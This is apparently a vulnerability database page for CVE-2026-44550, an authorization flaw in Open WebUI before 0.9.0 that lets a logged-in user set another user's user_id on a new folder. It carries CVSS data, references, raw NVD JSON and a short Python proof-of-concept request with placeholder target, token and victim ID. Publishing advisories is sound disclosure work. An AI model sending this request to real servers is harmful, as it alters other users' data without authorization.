CVE-2026-44550

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, FolderForm uses model_config = ConfigDict(extra='allow'), which permits arbitrary fields to pass through Pydantic validation and be included in model_dump(exclude_unset=True). In insert_new_folder, the server-assigned user_id is placed at the start of the dict and then overwritten by the spread of form data. Because FolderModel declares user_id: str as a real field (not just a form extra), any attacker-supplied user_id in the POST body is accepted by the model and persisted on the Folder row. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for creating a new folder
target_url = "http://<target-host>/api/folders/new"

# Attacker's cookies (authenticated session)
cookies = {
    "access_token": "<attacker_token>"
}

# Malicious payload containing the victim's user_id
# The 'user_id' field will override the server-assigned ID
payload = {
    "name": "Malicious Folder",
    "user_id": "<victim_user_id>"  # ID of the user to target
}

try:
    response = requests.post(target_url, json=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Exploit successful! Folder created for victim.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44550
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44550
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44550/
[4] VulDB https://vuldb.com/cve/CVE-2026-44550
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-hr43-rjmr-7wmm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44550", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:46.293", "lastModified": "2026-05-15T20:16:46.293", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, FolderForm uses model_config = ConfigDict(extra='allow'), which permits arbitrary fields to pass through Pydantic validation and be included in model_dump(exclude_unset=True). In insert_new_folder, the server-assigned user_id is placed at the start of the dict and then overwritten by the spread of form data. Because FolderModel declares user_id: str as a real field (not just a form extra), any attacker-supplied user_id in the POST body is accepted by the model and persisted on the Folder row. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hr43-rjmr-7wmm", "source": "[email protected]"}]}}